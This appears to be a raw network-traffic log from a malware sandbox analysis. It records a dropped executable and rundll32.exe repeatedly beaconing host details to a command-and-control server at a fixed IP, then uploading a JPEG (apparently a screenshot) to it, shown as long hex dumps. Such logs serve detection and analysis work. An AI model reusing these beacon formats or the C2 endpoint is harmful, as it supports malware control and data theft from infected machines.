Apr 28, 2021 23:23:07.419987917 CEST	3274	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
275	176.111.174.114	80	192.168.2.5	49869	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:07.523045063 CEST	3274	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:07 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
276	192.168.2.5	49870	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:07.731904984 CEST	3275	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	176.111.174.114	80	192.168.2.5	49870	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:07.835052967 CEST	3275	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:07 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.5	49871	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:08.045094967 CEST	3276	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	176.111.174.114	80	192.168.2.5	49871	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:08.148983002 CEST	3276	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49725	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:26.489479065 CEST	1577	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.5	49873	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:08.354235888 CEST	3277	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	176.111.174.114	80	192.168.2.5	49873	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:08.454524040 CEST	3277	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.5	49874	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:08.665283918 CEST	3278	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	176.111.174.114	80	192.168.2.5	49874	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:08.766290903 CEST	3278	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.5	49875	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:08.978709936 CEST	3279	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	176.111.174.114	80	192.168.2.5	49875	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:09.077270031 CEST	3279	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.5	49876	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:09.291344881 CEST	3280	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	176.111.174.114	80	192.168.2.5	49876	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:09.390376091 CEST	3280	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.5	49877	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:09.466916084 CEST	3294	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:09.565330029 CEST	3299	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:09.565378904 CEST	3305	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:09.566359043 CEST	3307	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:09.566420078 CEST	3315	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:23:09.570569992 CEST	3321	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
